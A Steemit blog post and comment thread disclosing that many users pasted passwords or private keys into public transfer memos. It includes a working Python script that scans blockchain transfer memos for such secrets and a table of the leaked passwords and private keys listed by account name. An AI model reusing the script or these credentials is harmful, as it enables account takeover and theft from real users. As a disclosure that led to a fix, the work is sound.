Actually, we - @noisy & @lukmarcus - have gained access to 9 passwords, 2 private active keys and 64 private memo keys, but first, TL;DR:
TL;DR;
- no, we didn’t hack Steem blockchain
- no, we didn’t hack steemit.com website or any other service build on top of Steem
- we didn't steal those funds, despite the fact that we could easily do that
- we changed passwords of all compromised accounts
- we transferred all funds into saving accounts of each account (to show, that we do not want to take them)
- the problem is with 2 accounts to which we have active keys. We cannot change password without old password or owner key, so we make sure, that those funds are safe on saving accounts.
- what we did, we exploited a flaw in design of steemit website, which caused that many users made exactly the same fatal mistake:
What actually did happen?
Few days ago I noticed in my cousin's wallet, that he accidentally pasted his own password into wrong field (a memo field), when he made a transfer. I warned him, so he changed his password. But this got me thinking... if he could make such mistake, anyone could do that! And unfortunately I wasn't wrong :(
So I wrote a script, which analyze all transfers in Steem history, which checked each memo, whether it is a match with current public keys of a user:
import csv
import pymssql
import json
from steembase.account import PrivateKey, PasswordKey
from multiprocessing import Process, Queue, Manager
WORKERS = 8
q = '''
SELECT
TxTransfers.*,
sender.owner sender_owner,
sender.active sender_active,
sender.posting sender_posting,
sender.memo_key sender_memo_key,
receiver.owner receiver_,
receiver.active receiver_active,
receiver.posting receiver_posting,
receiver.memo_key receiver_memo_key
FROM TxTransfers
INNER JOIN Accounts as sender
ON TxTransfers."from" = sender.name
INNER JOIN Accounts as receiver
ON TxTransfers."to" = receiver.name
WHERE TxTransfers.type = 'transfer'
AND TxTransfers.memo != '';
'''
def get_keys(field):
return [key_auth[0] for key_auth in json.loads(field)['key_auths']]
def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
memo_key_field):
if account_name not in public_keys_by_account:
public_keys_by_account[account_name] = {
'owner': get_keys(owner_field),
'active': get_keys(active_field),
'posting': get_keys(posting_field),
'memo': [memo_key_field],
}
return public_keys_by_account[account_name]
def get_public_key_from_password(shared_dict, account_name, password):
if account_name + password not in shared_dict:
shared_dict[account_name + password] = str(
PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
return shared_dict[account_name + password]
def get_public_key_from_private(shared_dict, priv_key):
if priv_key not in shared_dict:
shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)
return shared_dict[priv_key]
def worker(
pid,
transactions_queue,
results_queue,
public_keys_from_passwords,
public_keys_from_private_keys
):
print('[{}] worker started'.format(pid))
while not transactions_queue.empty():
i, account_name, public_keys, memo = transactions_queue.get()
print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))
public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
if public_owner_key in public_keys['owner']:
print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
results_queue.put((account_name, 'password', memo,))
else:
try:
some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo)
for role in ['posting', 'active', 'owner', 'memo']:
for key in public_keys[role]:
if key == some_public_key:
print(
"[{}] Gotcha! Found private {} key for '{}' account: {}".format(
pid, role, account_name, memo
)
)
results_queue.put((account_name, role, memo,))
except AssertionError:
print('[{}] AssertionError: {}'.format(pid, memo))
continue
except ValueError as e:
if str(e) == 'Error loading Base58 object':
continue
elif str(e) == 'Odd-length string':
continue
print('[{}] worker ended'.format(pid))
def save_results(results_queue):
tmp = set()
with open('results.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow(['account', 'type', 'memo'])
while True:
result = results_queue.get()
if result == 'kill':
break
if result not in tmp:
writer.writerow(result)
file.flush()
tmp.add(result)
def main():
manager = Manager()
existing_public_keys_by_account = {}
public_keys_generated_from_potential_passwords = manager.dict()
public_keys_generated_from_potential_private_keys = manager.dict()
transactions = Queue()
results = Queue()
conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
cursor = conn.cursor()
cursor.execute(q)
with open('transactions.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow((
'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
)
for row in cursor:
print('.', end='')
writer.writerow([str(item).replace('\r\n', '') for item in row])
with open('transactions.csv', 'r') as file:
reader = csv.reader(file, quotechar="\"", delimiter=";", escapechar="\\")
next(reader) # skipping the header
for i, (
id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
sender_owner, sender_active, sender_posting, sender_memo_key,
receiver_owner, receiver_active, receiver_posting, receiver_memo_key
) in enumerate(reader):
sender_keys = get_public_keys_from_fields(
existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
)
receiver_keys = get_public_keys_from_fields(
existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
receiver_memo_key
)
transactions.put((i, from_, sender_keys, memo))
transactions.put((i, to_, receiver_keys, memo))
processes = []
for i in range(WORKERS):
p = Process(target=worker, args=(
i,
transactions,
results,
public_keys_generated_from_potential_passwords,
public_keys_generated_from_potential_private_keys
))
p.start()
processes.append(p)
listener = Process(target=save_results, args=(results,))
listener.start()
for p in processes:
p.join()
results.put('kill')
listener.join()
print("end")
if __name__ == '__main__':
main()
which returned:
account | type | memo |
---|---|---|
dunja | password | hurehurehure1234 |
anwen-meditates | password | P5Kk17eRvytzkRzzngp1CdVbQvRqFUq8wrvw8SqNdcZwXot2JRXA |
jakethedog | password | P5JEo9aSW6CAF6apUsMbxqSe6r991T5G35uXcoYMP1PmifBRqX87 |
miketr | password | P5JEZWqSV28XAGrwMXn5G2Sx4dADvS5mz4DrrtjoraY8nmB59Rrb |
blacktiger | password | P5HufQw3V442c4DREjUL4Ed4fQ41VzBhPtn5SkCBDJ25tuRFg1UC |
quetzal | password | P5KC2JAHPyuA5tBn4K8PxoLuwXqHx51GHy7tG3gD7DupKH8NxqZz |
tieuthuong | password | P5HybN5mguE6G2QB4BVKbreexEtxJD84veHcz4s3L9R8JLQ6m85V |
aubreyfox | password | P5J5wS2gkQBv3U6WPgHU9gUTitbWE4V5CKYeEhZGVa3VGgkzQU2p |
virtualgrowth | password | P5Kifqmdm38WPHpn2FUigLbhfD7FatHAHfcuRU5xSi16AFJFex3r |
trump | active | 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9 |
amrsaeed | active | 5JqaDeu2s3BsG9QYenpz2xjLfg3qdaeWhXduYNUSmK7KWAywx93 |
trump | memo | 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9 |
alao | memo | 5JBGwoooi1gEUXBhu6up1qWdsKKKG1TEakQwaBNMb95dup5f9xh |
athleteyoga | memo | 5KU2dcxLpSCJZ4SB8eBqUJs2PCEuwfx7w2XYCUmcnLqgdHHqjq2 |
beeridiculous | memo | 5KHkKyHpxDBuuKGt5QwTbb42bxmMUo1Xk9efBKU7wUoRed2Ak8z |
romanskv | memo | 5JzZ1BUHGrYrmu9Kms5mFK2nhQPFSxKHXp5mtcfMrQWioEgJTfE |
blockiechain | memo | 5JJZPu2z6DfhyGFsm9b458wff8H168f4yiAidbsWq55YSbFLd3a |
bloodhound | memo | 5JQZo8QDuQ1eDqsgMnVHg1ujqYNUTEDV4KYZyeSdbzSAbXMsSuV |
bryguy | memo | 5JdJHDcgeqyaHEgmyTbob221RUvttqyRVVPViAMzuq4hWJKw6sa |
churchsoftware | memo | 5KB3B3rHxvvaR3C2gfNyKkkReqdfbsjPs4AZ8ceiiR4B49oCDmJ |
chuckles | memo | 5KWf41ixGbPMpAxNhe47jtTVbyAi9Su4mZrHaVanYP2rQWoPUUk |
coincravings | memo | 5Jp6RJ71B824qc2cHXLPNYHZPD1BgxE2rFMyEpDszjqussW5iSA |
colombiana | memo | 5JaewDd6gw4AjXGhABCdZk2FHrwxHJnJDWZmkUzJYuny6rarbf3 |
cryptoeasy | memo | 5JNv71NgwCRUDAQu1NP67TDRVHKmRnnGLRfNFMwAKS8fTMLvLkQ |
datkrazykid | memo | 5JbiRrFrv9GLMjjPYZA8K7AWxAXQThs5AefWj1JgqjzMS2jLdng |
dollarvigilante | memo | 5Hqzx26rSmSJ2o5VB8gicf3F2Q6BU35n1nMNajcEmDxMietvUVx |
dethie | memo | 5K3BBi9pETRGG7KkS7VDrWY7exDCCi315prn2Mf9dTuR9vCejEH |
francoisstrydom | memo | 5Jkw1HdHc1ucwTosaqhXVAhyG848d1ZJprQsrwP1UEctazBvU3D |
farinspace | memo | 5JMckr9WkVbRZdbeMwQ6CNwTWBfrp4vTBy9K1YTJyZ76XBbRgZW |
golgappas | memo | 5K8zaCwcXWjQPjs6JGH896pGb6jENyMNU19g1hSsYXW1X2Dour1 |
goldrush | memo | 5JKCSn4xwHHCTBNy1MYJgbLDpYGR434A43gUvGPCVJPAs49GMvX |
hithere | memo | 5HxdErB3wPUDQKWEcjNBBWLpB1uJ8aMrY1tK5ZA1k56MqmTtT31 |
iaco | memo | 5JTYW5HfPJJX47VRT1Cq9Nz8aSruWKhETiD6oo9GPJNteQ5RPke |
inphinitbit | memo | 5J9uWL39vDYgEosscgxEziYQ2ybPbxM5e9sPkzTxgqTgNYC7Mx7 |
jellos | memo | 5JYXarzjE5afBtHcjhvdUcczrqCsfUEyxVRTKAFyDdjGatkTNNy |
kakradetome | memo | 5JuMh7FikJ1UVpUauF3J1e7MHj562z8Zmnp29pauVgPw3A4SgYC |
kingofdew | memo | 5HrSQ9yJizKCbDAu2Di9PnSuMPwMuNQCiKRdBUqzHFZySWQmtbL |
malyshew1973 | memo | 5KbD93C9XLGL4Aa4ncSpRnXCVuSRTvRRP6gANwHPbUeWBaPf4Eq |
leesmoketree | memo | 5Kctn9BvtxB3CXzzX4GMcmLygq42LqisCZr5MAy7VYPzvwX5o7u |
lichtblick | memo | 5J9jkRijjAn8o8DXt8R1ujSZHtahevVCw8CGzPEjnvCEsqkXjHy |
lopezro | memo | 5K6rmYGbHaGsAyGLpQMNupWcmjQFHvjX2GtYyCrC3KMgWAWcNci |
lostnuggett | memo | 5JEKwfrtSEFvw8P8qnWyDhfxnQTRB5Vn2WxwW3tE4gL4pZiwPcQ |
luani | memo | 5Jo7p98JCpTiH1q9kVC81etym4QSHRRpLDvxumRW7BXouDu8Yfd |
mama-c | memo | 5HqAhZBvbBJKVWJ1tsrg7xnS1dvNNyxBoHzp8Snvp9C6Uawx66x |
marionjoe | memo | 5KUpMmkx6hrPanwKzUvrHTonLDQkZAoiJwESogHAMSeuFsB1Lqc |
maxfuchs | memo | 5J9CvSGNyLBgUwhKtsTWCqTddbDZJ4tFrVSyWFzDstsQiG9spPe |
mkultra87f | memo | 5J8mDeubzJwEtHsbPzfUCVetNgPrVgQVHUBQDySH7v1qSS44DBf |
mrsgreen | memo | 5JyAaFEdEriRLpQ9uEXGoeNyHpw1TscqN6VP6iNjpoFbA8JCrMP |
nathanhollis | memo | 5Kk1N4nxMPbqVuJCVt3MUjz5dvJR716cUAdf6c3kToqzMqT8rRu |
murat | memo | 5K8R2J7xiLRN3HWdAy5Zym4taE74o9DWF8FV82HHFrqNUZDzdxW |
nikolad | memo | 5KdeDUj92w2HXsLH6V6SpNGPAeyBtJEU5jVoqZyjaHDkE39AkzF |
niliano | memo | 5KCPgZBnLziZC88e44j8GxK11XYdpQyo8WFxocBH24jAhEnVN6z |
norbu | memo | 5J5HyEwx54MwKW8gpsSBzvwAweHRjH11CXs85RCNWSooyPYRaeh |
onighost | memo | 5HwsjHgWMmJSLdiVgdxbRWqyvFtsKRC3Mk2tDzkpW4293ssTa6V |
pinkisland | memo | 5JAymGCYWxhojoyQsfAC4x619nq5vkcQBhMWjEZHwiitodBYFV5 |
rawmeen | memo | 5JnLMoPRry2n361tPxQq7MYy16tn5PuT2PmsP1FLrRGJsp1Vfem |
qamarpinkpanda | memo | 5K4SgN4tps3HRiyy49m5rfWNCZmyBVYv7eFF3CTRkcJJPQsExTb |
richarddean | memo | 5JPPUidz7rPN6VPHFJQbjnh8a3JQCDzP7fJSt93EQkUeLr3gmJJ |
saramiller | memo | 5K8My6Afbi6ff5CeFByB5e9zQG4QUX4MtMRHs7Ux9Tvu4ZSP7H4 |
slimjim | memo | 5HtkqVNSBj4kf6tyyyNPBgpnbgkrvATM1wBYY4mkNfxs9xiYHbv |
smisi | memo | 5Hsre3qaCDBcxwGiig5qFc65dwf2NfAssUUTXfCWFmbhbxPz7bL |
sraseef | memo | 5K558SavQVHXnKn6k8CoKe28T3FAmmAtRJuCMjpwdSwR6sT9rYq |
steemshop | memo | 5JRoiSJw18Vj3rGt5mrd4JeuxL1Wb1YpGyFDQu9pFrKmckr6kTu |
surpriseattack | memo | 5K8Be3nW33Lc5vqRUJx3xmoLFnMMmJPMthYHb16i7R2gwFTJqh3 |
tee-em | memo | 5KPT9Nhtho3qaAFkGQ4zqy7Dae1729WdYM5wL3UPyKVuTauonif |
theofphotography | memo | 5KRJ9qt8E9o6KXFhfyW7PJH7sDsmSBVaBeC8SmLR5LmReQii44Y |
thunderberry | memo | 5JxtXr2cMTkbU37CDtPyFdGuTT9fPceNemwnJDsqAdMoV5msLEP |
tomino | memo | 5JPBiMwfrqTdgZhW16LjdeMZv29gtKQC4eb4jyVTpk2Vvx5MHde |
worldclassplayer | memo | 5JQBm8pn5vwChYdoxx3tJw6dkBFeQpKBKia5roB9DqXZMoFdF4h |
writemore | memo | 5JJTZpTEvw4C7cnU7Q9NfzUnXSYqwYLLxkP7B3c39Z82Uwzj14d |
wthomas | memo | 5HwbsX4CTKtCJLH8QYuVBTvCbJYQwwFDiCCKy99uNLCHpoazo6N |
walcot | memo | 5KJjeTJGM8FjjDpj8mHRFpjae5SeSZ9Y8CGaBJC7VqFUGR25Qa6 |
vovaha | memo | 5J9Wxf1Xz1hXvMd7ubXHNZXhFoF1yhQT3GSHNVmRNXERCnBZJ7e |
The fix
I created and submitted a fix, to prevent such mistakes in a future:
https://github.com/steemit/condenser/pull/1464
FAQ:
My Account was hacked - what I should do?
Actually, I cannot reach you on steemit.chat or discord to give you your new generated password. Why is that? Because no one can have a certainty, that you actually have the same login on different service. I do not want to risk giving access to your account to someone who just pretend to be you.
You should go to: https://steemit.com/recover_account_step_1
and you will be able to restore access to your account with a help of steemit and your email address.
Important
My account is on a list, but only private memo key was exposed. What should I do?
You should change your password immediately.
You can do that on: https://steemit.com/@<your_login>/password
Right now (according to my knowledge) exposed memo key do not make a damage, but it was said few times, that those private keys in the future might be be used to encrypt private messages. Exposed private memo key would mean, that anyone could read your private messages. You don't want that, right?
What next?
You can expect from me in very near future few posts about security (for total newbies and for developers):
- How private and public keys works. What is the difference between password and a private key
- Why Steemit didn't detect that I checked passwords of 183388 users
- Very detail explanation of how passwords are stored by steemit in your browser, and why it is secure
- How to set own password, which is not generated by Steemit
- How to make you account on Steemit more secure, by using only private posting key for every-day use
Make sure, you follow me, to learn more about how to keep your fortune earned on Steemit more secure :)
nice work, noisy! with community heroes like you and @lukmarcus, we are continually becoming stronger than ever
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Would be great if you could have someone acknowledge these github issues...
https://github.com/steemit/condenser/issues/1459
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Would also be good if we could get some sort of 2 FA option on the wallet.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
would Trezor integration be possible?
https://doc.satoshilabs.com/trezor-faq/overview.html#which-coins-are-currently-supported
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Not sure. I haven't really tried hardware wallets yet but it is something I need to look into.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice idea!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
2FA is essential in this space... I agree
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
2 FA cannot be created for blockchain-based system. There would have to be email/sms on blockchain
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
OK - is there some other solution you can think of?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
user should never use password on steemit. They should use only private posting key. I am writing article about that as we speak...
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Yes for sure but is there any other way to increase security?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
hmmm...actually some kind of 2of3 multisig with 3rd party service could be made.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
it is not secure yet. Account can be hacked
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Spotted this a month ago but thought a post will be sufficient to get the word out. i am not so techy, so my post is mostly my voice. Steemit is letting me peer into more and more things! I have started to learn some coding fundamentals. i gave my novice tip as possible fixes within my post, hoping it helps! https://steemit.com/steemit/@surpassinggoogle/this-could-be-the-easiest-way-to-lose-your-steemit-account-or-password-and-possible-fix-steemit-inc-take-a-look
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Steemit is the best!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
i'm addicted to steemit.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I just started tonight. Comments like these give me... hope? Lol! :D
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
We just try to walk a German blogger throught the recovery, who "lost" his account in this (amazing and useful ) hack. Unfortunately it isn´t possible to recover an account by facebook. What is the alternative? Can there be a fix?
@noisy @ned
THX
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
which account?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
@miketr
Seems @Twinner already talked to you and mike can post and vote again... THX!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
💖💖💖💖 💖💖💖💖
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
No doubt. loool I love this meme bdw
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I wish more people understood the value of a good meme
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
meme's get undervalued by people....so sad. I made a post about meme's in fact
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
cool baby
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I agree;) See if those minds can come up with a solution to a problem that WE ARE ALL ABOUT TO FACE involving capital gains tax. Id love to see a clever work around/strategy for the problem below:
https://steemit.com/money/@threat08/avoiding-capital-gains-tax-15-avg-when-cashing-out-your-bitcoin-into-fiat-theoretically-of-course
Need some critical thinkers.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I hate taxes
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
@noisy & @lukmarcus You guys are awesome!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wao this is quite interesting
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks, for your efforts!
Detecting these things early, and prevent future events will grow the trust in this platform!!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
couldn't agree more!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Go STEEM! ;) The way u handle thinks like this are awsome, thanks for the platform and some freedom guys!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Good job idd! Last month I wrote a request for the programmers in the Steemit community: https://steemit.com/hardwarewallet/@michiel/hardware-wallets-new-and-incredible-interesting-devices-idea-for-steemit
I am not a coder, so I can only spread the idea. Hope someone will pick it up and create the possibility to secure a Steemit account for 100%
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
We're like two good cops :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Yes, this great work for the community!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I'm amazed at how smart our community is. This is unreal!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks guys @noisy & @lukmarcus!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I love the way steemit is doing thing!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
We have to be diligent, both personally and as a community.
Thanks for your great work @noisy and @lukmarcus! Much thanks for helping everyone know how to do Steemit life a little better and safer.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
i think yes
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great work
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great job. Glad it was a white hatter that got his hands on this first! Your a good person and I'm sure some people will be happy you won't be taking their funds!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Yea, this is guy is with not standard heart beating :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you for being ethical and responsible in this case.
BTW, I don't think that this is
There's already "This Memo is Public" note there.
This is rather Problem Between Keyboard and Computer type of bug. You can't prevent users from hurting themselves. If one note didn't help for all, adding second and third probably would reduce risks a bit, but there would be still those who would ignore it.
Anyway, good work.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Technically you are right, but still I believe, that if so many users are making exactly the same mistake... something is wrong. Guys like @dollarvigilante (a guy who have the biggest number of followers on Steemit) exposed his private memo key, @virtualgrowth and my cousin - @lukmarcus accidentally exposed own passwords - those guys are experts about Steem and Steemit when you compare them to average Joe.
I believe, that we can do things a little bit better, thats why I provided a pull request with a fix :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I didn't... I haven't been hacked.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
there are 4 pair of keys: active, owner, posting and memo. Every pair has public key and private key. Under any circumstances, you should never expose any of your private keys.
As I wrote in a post, right now exposing a private memo key is not very dangerous. But it was said few times, that in the future memo-keys will be used to encrypt and decrypt private messages. So basically every your conversation encrypted with your memo-key would be basically public for everyone who poses your private memo key.
Also... even right now everyone with your private memo key could try do some kind of social-engineering atack, by pretending that attacker is you (because technically speaking only you should be able to sign messaged with your private key).
So.. no, you account was not hacked right now, but with private memo key exposed, your account could be attacked in a moment when private-memo-keys would gain some new role in Steem ecosystem.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I see, ok thanks!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Jeff, take a break from walking your dogs and setup your avatar. Por favor.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
LOL.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
ouch, you could've mentioned that in your live show yesterday !
It took a whole day to get account access.
Anyways cheers !
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks so much for explaining the ramifications. I'll make sure to be extra vigilant when I do transfers. This is something I can see myself accidentally doing, and I'd rather avoid the headache.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
You did Steemit a massive favor Noisy! It won't be forgotten! :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Ale swietna robota! Ja tez raz prawie wkleilem w zle miejsce przy momencie mojej adhd nieuwagi. Dobrze ze nie ma mnie na liscie :-)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
When you scroll through the names looking for yours....
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
same :D
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
lmfao! this so me right now.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
haha I was definitely doing this
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Haha!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Haha did the same even though I'm new user with nothing much too lose unfortunately ^^
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
It may be an error 40, but it still should be easy for steemit website to check if the memo contains an account key (or what likely is one) and give an error message for that.
Why keep an error source open just because YOU would never make that error (which of course say at least 50% of those who make it).
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Sure, I'm not saying that we shouldn't try to reduce those chances. Appropriate modification is on its way.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Please @noisy be at Lisbon's Steemfest, i want to shake your hand if i could make it there😊......Steem Super Hero
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I noticed this possibility and gave some novice tips in my post from a month ago:
https://steemit.com/steemit/@surpassinggoogle/this-could-be-the-easiest-way-to-lose-your-steemit-account-or-password-and-possible-fix-steemit-inc-take-a-look
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you Noisy. Great work.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Krzysztof love your use of ethical hacking here to help fix a bug and thank you for sharing the accounts to help us know if we need to change our passwords now!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Amazing work! :) best type of hacking, as you can keep the rewards with a clean conscience and gain people's trust and respect! :) well done :) followed and upvoted for the hard work!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
White hattin' like a boss!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I think this is the first time I run directly into whitehat hackers. And thats darn cool. :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Well done and thank you for being ethical about this, its a miracle nobody else beat you to it and stole the funds. @dollarvigilante should be especially grateful, this could've been way worse.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
wonder what's gonna be dollarvigilante reaction to this...priceless.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I haven't been hacked, that's my response.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Hahhaha...and still remains your response.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
My question indeed!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Just curious, why call out to dollarvigilante??
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Hopefully the reward you get from this post will be big :) Hackers better think long term, joining the good guy side pays off more IF you know how to do it right.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
We, as a community have all the power we need to make sure the good guys are properly rewarded. I threw my vote on this article and plan to resteem it.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
It would be really nice if the wallet gave a newbie explanation by each "key" in the wallet. I am confused by the current messages. I lean towards being afraid to give any key to anyone, but I totally see where the confusion comes in.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for alerting us to this common mistake. Can see a newbie like me making it if you hadn't warned.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Yeah I figured something like this could happen. I ussually copy some random text after I log in to Steemit so the password is not in the clipboard anymore, and thus can't paste it somewhere by mistake.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
the problem is... that if you are making a transfer, very often you are prompted one more time about password (because actually password is not saved if you are moving to next page which is outside of a wallet)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Yes, you are right. I need to be extra careful when I do transfers. Thanks! Hopefully Steemit may find a way to make this better. Maybe by adding some PIN number or something, that is not used to login, but only for transfers, and make it not work unless you are already logged in to Steemit (PIN would not be blockchain based). Or something.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nicely done @noisy! I'm wondering if there was someone else instead of you, what he would be done? Thanks for sharing this, and maybe those people have learned their lesson!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Well done on this. I'm going to promote this a little, it's important
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I resteemed to help some too.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for pointing out the possible mistake that we could made. I'm new to Steemit and this post is really useful to me and to remind me not to do the same mistake. Thanks again!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice work keeping people safe and secure. We need more benevolent "hackers" like you in this world.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Omg,really thanks for your work done. What you really did is a great job, it's a ethical hacking! Hope the steemit team will really treat it serious and amend the code accordingly to solve the problem. Thanks for your great job guys!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Whitehats: Protecting people from themselves since 1970-01-01T00:00:00Z
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
And doing it till 2069-12-32 23:59:59!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
lool. Someone has a time machine
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
"All the way to...the year 2000"
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
hahah yeah... the official version looks good.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Haha, you got the DollarVigilante. He better send you a gift basket this Christmas, I would think his account is LARGE!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
He didn't actually... I haven't been hacked. I am waiting to hear his response.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Good to hear, I appreciate the White Hats doing their testing though!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Upvoted
@noisy & @lukmarcus
Thanks for your great work!
Your efforts make our community more security and stronger.
And I also write an article about it for Chinese user.
🔓 [Security Alert] You may leak your steemit password (key) by accident / 安全警示,你可能不经意就泄露了你的steemit 密码
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
This is amazing to see how you did this on highlighting the mistakes made on steemit. Maybe steemit should add detecting it's a private key on memo?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
we are merging the PRs now :)
